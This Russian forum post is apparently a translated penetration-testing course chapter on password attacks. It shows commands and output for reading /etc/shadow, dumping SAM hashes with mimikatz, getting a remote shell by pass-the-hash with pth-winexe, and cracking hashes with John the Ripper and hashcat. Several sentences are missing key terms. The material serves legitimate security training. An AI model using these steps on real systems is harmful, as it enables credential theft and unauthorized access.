Далее извлечем и проанализируем несколько хэшей на нашей системе Kali Linux. Во многих системах Linux хэши паролей пользователей хранятся в файле /etc/shadow, для чтения которого требуются права root:

Код:
kali@kali:~$ sudo grep root /etc/shadow
root:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/:17564:0:99999:7:::
Листинг 24 - Хеш пароля пользователя root полученный на нашей машине Kali Linux из файла /etc/shadow

В Листинге 24 строка начинается с имени пользователя (root), за которым следует хэш пароля. Хэш разделен на поля, первое из которых ($6) ссылается на алгоритм . Следующее поле - , которое используется вместе с паролем в открытом виде для создания хэша пароля. Соль - это случайное значение, которое используется вместе с паролем в чистом виде для вычисления хэша пароля. Это п , так как хэш пароля будет меняться в зависимости от значения соли.

Злоумышленники могут хранить предварительно вычисленные хэш-значения для различных словарей в хэш-таблицах [568](https://en.wikipedia.org/wiki/Hash_table). Эти таблицы могут потреблять терабайты дискового пространства, в зависимости от количества предварительно вычисленных паролей, но могут быть использованы для быстрого сопоставления (поиска) хэша с паролем в чистом виде. Использование salt (соли) увеличивает рандомизацию значения пароля перед вычислением фактического хэша, что значительно снижает вероятность существования этого хэша в таблице с предварительно вычисленными хешами. Проверьте сайт HashKiller [569](https://hashkiller.co.uk/) в качестве примера сервиса поиска хэша.

Теперь давайте перейдем к Windows целям и обсудим, как используются различные реализации хэша, и как мы можем использовать их во время тестирования.

На системах Windows хэшированные пароли пользователей хранятся в . Для предотвращения атак на пароли автономной базы данных SAM компания Microsoft представила функцию SYSKEY (Windows NT 4.0 SP3), которая частично шифрует SAM-файл.

Операционные системы на базе Windows NT, вплоть до Windows 2003 включительно, хранят два различных хэша паролей: , который основан на , и , который использует хэширование. Менеджер LAN Manager, как известно, очень слаб, так как пароли длиннее семи символов разделены на две строки, и каждая часть хэшируется отдельно. Каждая строка пароля перед хэшированием также преобразуется в верхний регистр, более того, система LM-хэширования не содержит солей, что делает атаку по хэшированию выполнимой.

Начиная с Windows Vista, операционная система по умолчанию отключает LM и использует NTLM, который, помимо прочего, чувствителен к регистру, поддерживает все символы Юникода и не разделяет хэш на более мелкие, слабые части. Тем не менее, NTLM хэши, хранящиеся в базе данных SAM, все еще не используют salt (соль).

Стоит отметить, что база данных SAM не может быть скопирована во время работы операционной системы, так как ядро Windows блокирует доступ к файлу. Тем не менее, мы можем использовать (рассмотренный гораздо глубже в другой главе) для проведения атак на память, предназначенных для выгрузки хэшей из SAM.

Среди прочего, модули mimikatz облегчают извлечение хэша пароля из памяти процесса , где он кэшируется.

Поскольку LSASS является привилегированным процессом, выполняемым под пользователем SYSTEM, мы должны запустить mimikatz из интерпретатора команд администратора. Чтобы извлечь хэши паролей, мы должны сначала выполнить две команды. Первая - это privilege::debug, которая включает право доступа SeDebugPrivilge, необходимое для взлома другого процесса. Если эта команда не сработает, то, скорее всего, mimikatz не будет выполнен с административными привилегиями.

Важно понимать, что LSASS - это процесс SYSTEM, что означает, что у него даже более высокие привилегии, чем у mimikatz, запущенного с административными привилегиями. Для решения этой проблемы мы можем использовать команду token::elevate, чтобы поднять маркер безопасности с уровня administrator до уровня SYSTEM. Если mimikatz запускается из оболочки SYSTEM, этот шаг не требуется. Давайте пройдем через этот процесс:

Код:
C:\> C:\Tools\password_attacks\mimikatz.exe
...
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

740     {0;000003e7}  1  D  33697        NT AUTHORITY\SYSTEM      S-1-5-18 (04g,2
1p) Primary
 -> Impersonated !
 * Process Token :  {0;0002e0fe}  1  F  3790250        corp\offsec      S-1-5-21-3048852426-32
34707088-723452474-1103     (12g,24p)        Primary
 * Thread Token  :  {0;000003e7}  1  D  3843007        NT AUTHORITY\SYSTEM      S-1-5-18
(04g,21p)        Impersonation (Delegation)
Листинг 25 - Подготовка к выгрузке базы SAM с использованием mimikatz

Стоит отметить, что модуль маркеров может показать список (token::list) и использовать (token::elevate) маркеры для всех пользователей, вошедших в систему в данный момент, которые в некоторых случаях могут быть администраторами другой машины.

Теперь мы можем использовать sadump::sam для дампа содержимого базы данных SAM:

Код:
mimikatz # lsadump::sam
Domain : CLIENT251
SysKey : 457154fe3c13064d8ce67ff93a9257cf
Local SID : S-1-5-21-3426091779-1881636637-1944612440
SAMKey : 9b60bd58cdfd663166e8624f20a9a6e5

RID  : 000001f4 (500)
User : Administrator

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 0c509cca8bcd12a26acf0d1e508cb028

RID  : 000003e9 (1001)
User : Offsec
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
Листинг 616 - Выгрузка базы SAM с использованием mimikatz

Как видим, mimikatz элегантно и эффективно выгрузил хэши как и требовалось.

Другие инструменты хэш дампа, включая pwdump, и хорошо работают со старыми операционными системами Windows, такими как Windows XP и Windows Server 2003.

Атака Pass the Hash в Windows

Как мы узнаем в следующем разделе, взлом хэшей паролей может занять очень много времени и зачастую невозможен без мощного аппаратного обеспечения. Тем не менее, иногда мы можем использовать хэши паролей в Windows, не прибегая к трудоемкому процессу взлома.

Техника Pass-the-Hash (PtH) (обнаружена в 1997 г.) позволяет злоумышленнику аутентифицироваться на удаленной цели, используя правильную комбинацию имени пользователя и NTLM/LM хэша, а не пароль. Это возможно, потому что NTLM/LM хэши паролей не солятся и остаются в промежутках между сеансами. Более того, если мы обнаруживаем хэш пароля на одной цели, мы можем не только использовать его для аутентификации на этой цели, мы также можем использовать его для аутентификации на другой цели, при условии, что у этой цели есть аккаунт с тем же именем пользователя и паролем.

Давайте представим сценарий, чтобы продемонстрировать эту атаку. Во время оценки мы обнаружили локальную учетную запись администратора, которая включена на нескольких системах. Мы использовали уязвимость на одной из этих систем и получили привилегии SYSTEM, что позволило нам удалить локальные LM и NTLM хэши. Мы скопировали NTLM хэш локального администратора и теперь можем использовать его вместо пароля, чтобы получить доступ к другой машине, которая имеет ту же самую учетную запись локального администратора и тот же пароль.

Для этого мы будем использовать pth-winexe из инструментария Passing-The-Hash (модифицированная версия winexe), который выполняет аутентификацию по протоколу SMB:

Код:
kali@kali:~$ pth-winexe
winexe version 1.1
This program may be freely redistributed under the terms of the GNU GPLv3
Usage: winexe [OPTION]... //HOST COMMAND
Options:
-h, --help                                    Display help message
-V, --version                                 Display version number
-U, --user=[DOMAIN/]USERNAME[%PASSWORD]       Set the network username
-A, --authentication-file=FILE                Get the credentials from a file
...
Листинг 27 - Подсказка по использованию pth-winexe

Для выполнения такого приложения, как cmd, на удаленном компьютере, использующем SMB протокол, требуются административные привилегии. Это связано с аутентификацией на административном ресурсе C$ и последующим созданием службы Windows.

В качестве демонстрации, мы запустим pth-winexe на нашей машине Кали для проверки подлинности нашей цели с помощью ранее сдампленного хэша пароля. Мы получим удаленную командную строку на целевой машине, указав имя пользователя и хэш (-U) вместе с ресурсом SMB (в формате UNC) и именем команды для выполнения, на Листинге 28 - это cmd. Мы проигнорируем параметр DOMAIN и укажем имя пользователя (с последующим знаком %) к хэшу для создания команды. Синтаксис показан ниже:

Код:
kali@kali:~$ pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
Листинг 618 - Аутентификация по хешу (passing the hash) с использованием pth-winexe

Согласно результатам, полученным в Листинге 28, выполнение команды было успешным, предоставив шелл на цели, используя перехваченный хэш в качестве учетных данных.

За кулисами в процессе аутентификации формат предоставленного нами хэша NTLM был изменен на формат . Мы можем захватить эти хэши, используя атаки man-in-the-middle или отравления, и , либо .

Например, некоторые приложения, такие как Internet Explorer и Windows Defender, используют протокол автоматического обнаружения прокси для определения настроек прокси. Если мы находимся в локальной сети, мы можем отравить эти запросы и заставить NetNTLM аутентификацию с помощью такого инструмента, как Responder.py, который создает неавторизованный WPAD сервер, предназначенный для использования этой проблемы безопасности.

Взлом пароля

В криптоанализе взлом пароля - это процесс восстановления пароля с использованием его хэша.

Процесс взлома пароля достаточно прост на высоком уровне. После того, как мы обнаружили механизм хеширования, с которым мы имеем дело в процессе целевой аутентификации, мы можем выполнить итерацию над каждым словом в словаре и сгенерировать соответствующий message digest. Если вычисленный хэш совпадает с тем, который был получен из целевой системы, то мы получили подходящий текстовый пароль. Обычно все это делается с помощью специализированной программы для взлома паролей.

Если соль участвует в процессе аутентификации, и мы не знаем её значение, взлом может стать чрезвычайно сложным, если не невозможным, так как мы должны неоднократно хэшировать каждый потенциальный пароль с различными солями. Тем не менее, по нашему опыту мы почти всегда можем захватить хэш пароля вместе с солью, будь то из базы данных, которая содержит как уникальные значения для каждой записи, так и из конфигурационного или двоичного файла, который использует одну соль для всех значений хэша. Когда оба значения известны, взлом пароля становится проще.

Как только мы получили доступ к хэшам паролей из целевой системы, мы можем начать сеанс взлома пароля, запущенный в фоновом режиме, пока мы продолжаем наше тестирование. Если какой-либо из паролей взломается, мы сможем попытаться использовать его на других системах, чтобы увеличить наш контроль над целевой сетью. Это, как и другие процессы тестирования на проникновение, является итеративным процессом и мы передаём данные на более ранние этапы по мере расширения контроля.

Чтобы продемонстрировать взлом пароля, мы снова обратимся к John the Ripper, поскольку он поддерживает десятки форматов паролей и является невероятно мощным и гибким.

Запуск john в режиме прямого перебора (перебор всех возможных комбинаций символов в пароле) так же прост, как и передача имени файла, содержащего наши хэши паролей, в командной строке вместе с форматом хэширования.

В Листинге 29 мы атакуем NT хэши (--format=NT), которые мы вытащили, используя mimikatz.

Код:
kali@kali:~$ cat hash.txt
WDAGUtilityAccount:0c509cca8bcd12a26acf0d1e508cb028
Offsec:2892d26cdf84d7a70e2eb3b9f05c425e

kali@kali:~$ sudo john hash.txt --format=NT
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 2 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
Листинг 29 - Brute force взлом с использованием John the Ripper

В вышеприведенном выводе JTR правильно распознает тип хэша и переходит к его взлому. Атака brute force займет много времени, это зависит от скорости нашей системы. В качестве альтернативы мы можем использовать параметр --wordlist и указать путь к словарю, что сокращает время процесса, но даёт меньшее покрытие паролем:

Код:
kali@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT
Листинг 30 - Взлом пароля по словарю с сипользованием John the Ripper

Если осталось взломать какой-нибудь пароль, мы можем попробовать применить правила JTR по работе со словами с помощью параметра --rules:

Код:
kali@kali:~$ john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT
Листинг 31 - Взлом с использованием правил изменения (мутации)

Для того, чтобы взломать хэши на базе Linux с помощью JTR, нам нужно сначала использовать утилиту unshadow для объединения файлов passwd и shadow из скомпрометированной системы.

Код:
kali@kali:~$ unshadow passwd-file.txt shadow-file.txt
victim:$6$fOS.xfbT$5c5vh3Zrk.88SbCWP1nrjgccgYvCC/x7SEcjSujtrvQfkO4pSWHaGxZojNy.vAqMGrB
BNOb0P3pW1ybxm2OIT/:1003:1003:,,,:/home/victim:/bin/bash

kali@kali:~$ unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
Листинг 32 - Подготовка хешей паролей Linux для взлома

Теперь мы можем запустить john, передав в качестве аргументов словарь и подготовленный текстовый файл:

Код:
kali@kali:~$ john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3cr3t (victim)
1g 0:00:00:28 DONE (2019-08-20 15:42) 0.03559g/s 2497p/s 2497c/s 2497C/s
...
Листинг 33 - Взлом хеша пароля Linux с использованием John the Ripper

Более новые версии John The Ripper по умолчанию многопоточны, но старые версии используют только одно ядро процессора для выполнения действий по взлому. Если вы столкнулись со старой версией JTR, она поддерживает альтернативы, которые могут ускорить процесс. Мы можем использовать несколько процессорных ядер или даже несколько компьютеров для распределения нагрузки и ускорения процесса взлома. Опция --fork включает в себя несколько процессов для использования большего количества ядер процессора на одной машине и --node разделяет работу на несколько машин.

Например, предположим, что у нас две машины, каждая с 8-ядерным процессором. На первой машине мы бы установили опции --fork=8 и --node=1-8/16, дав John указание создать восемь процессов на этой машине, разделить поставляемый словарь на шестнадцать равных частей и локально обработать первые восемь частей. На второй машине мы могли бы использовать опции --fork=8 и --node=9-16, чтобы распределить восемь процессов по второй половине словаря. Разделение работы таким образом обеспечило бы увеличение производительности примерно в 16 раз.

Злоумышленники также могут предварительно вычислять хэши для паролей (что может занять много времени) и хранить их в массивной базе данных, или в , чтобы сделать взлом пароля простым поиском по таблицам. Это компромисс между пространством и временем, так как эти таблицы могут потреблять огромное количество пространства (в петабайтах, в зависимости от сложности пароля), но сам процесс "взлома" пароля (технически это процесс поиска) занимает значительно меньше времени.

Несмотря на то, что John The Ripper является отличным инструментом для взлома хэшей паролей, его скорость ограничена мощностью процессоров, предназначенных для выполнения этой задачи. В последние годы графические процессоры (GPU) стали невероятно мощными и, конечно же, есть в каждом компьютере с дисплеем. Высокопроизводительные машины, как те, что используются для редактирования видео и игр, поставляются с невероятно мощными GPU. Такие инструменты для взлома паролей, как , используют мощь как CPU, так и GPU для достижения невероятной скорости взлома паролей.

Опции Hashcat в целом аналогичны опциям John the Ripper и включают в себя такие функции, как определение алгоритма и мутацию списка паролей.

В данном примере мы запустим hashcat в бенчмарке (-b) на машине с GeForce GTX 1080 Ti GPU:

Код:
C:\Users\Cracker\hashcat-4.2.1> hashcat64.exe -b
hashcat (v4.2.1) starting in benchmark mode...
...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080 Ti, 2816/11264 MB allocatable, 28MCU

Benchmark relevant options:
===========================
* --optimized-kernel-enable

Hashmode: 0 - MD5

Speed.Dev.#1.....: 39354.5 MH/s (93.70ms) @ Accel:128 Loops:1024 Thr:1024 Vec

Hashmode: 100 - SHA1

Speed.Dev.#1.....: 13251.8 MH/s (87.49ms) @ Accel:128 Loops:512 Thr:640 Vec:1

Hashmode: 1400 - SHA-256

Speed.Dev.#1.....: 4770.8 MH/s (48.15ms) @ Accel:128 Loops:64 Thr:1024 Vec:1

Hashmode: 1700 - SHA-512

Speed.Dev.#1.....: 1567.9 MH/s (92.38ms) @ Accel:128 Loops:64 Thr:640 Vec:1

Hashmode: 1000 - NTLM

Speed.Dev.#1.....: 65267.0 MH/s (55.66ms) @ Accel:128 Loops:1024 Thr:1024 Vec

Hashmode: 5500 - NetNTLMv1 / NetNTLMv1+ESS

Speed.Dev.#1.....: 33504.0 MH/s (55.00ms) @ Accel:128 Loops:512 Thr:1024 Vec:

Hashmode: 5600 - NetNTLMv2

Speed.Dev.#1.....: 2761.2 MH/s (83.59ms) @ Accel:128 Loops:64 Thr:1024 Vec:1

Hashmode: 1800 - sha512crypt $6$, SHA512 (Unix) (Iterations: 5000)

Speed.Dev.#1.....: 218.6 kH/s (51.55ms) @ Accel:512 Loops:128 Thr:32 Vec:1
....
Листинг 34 - Benchmark скорости взлома с GeForce GTX 1080 Ti

Эталонные цифры довольно невероятны, показывая скорость SHA1 более 13 миллиардов хешей в секунду, скорость NTLM более 62 миллиардов хешей в секунду, и даже очень сложный и медленный алгоритм sha512crypt работает с поразительной скоростью 200 000 хешей в секунду. Сравните это с некоторыми из наших предыдущих запусков John The Ripper на нашем (достаточно медленном) процессоре Kali VM, который работал со скоростью в сотни хешей в секунду.

Эти скорости были достигнуты с помощью одного GPU, но мульти-GPU компьютеры доступны с четырьмя, восемью и более GPU. На момент выхода этой публикации компьютер с одним GPU можно построить примерно за 2000 долларов, в то время как система с четырьмя GPU может стоить около 6000 долларов. В восьми GPU системах была зарегистрирована скорость !

Заключение

Инструментов для атаки на пароли и словарей настолько много, что может возникнуть соблазн просто взять любой и запустить взлом пароля во время теста на проникновение. Однако успех заключается не только в глубоком понимании использования и сильных сторон каждого инструмента, но и в том, чтобы научиться отступать назад и применять эти инструменты с умом, соблюдая баланс скорости и точности, а также отдавая приоритет безопасности производственной среды клиента.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!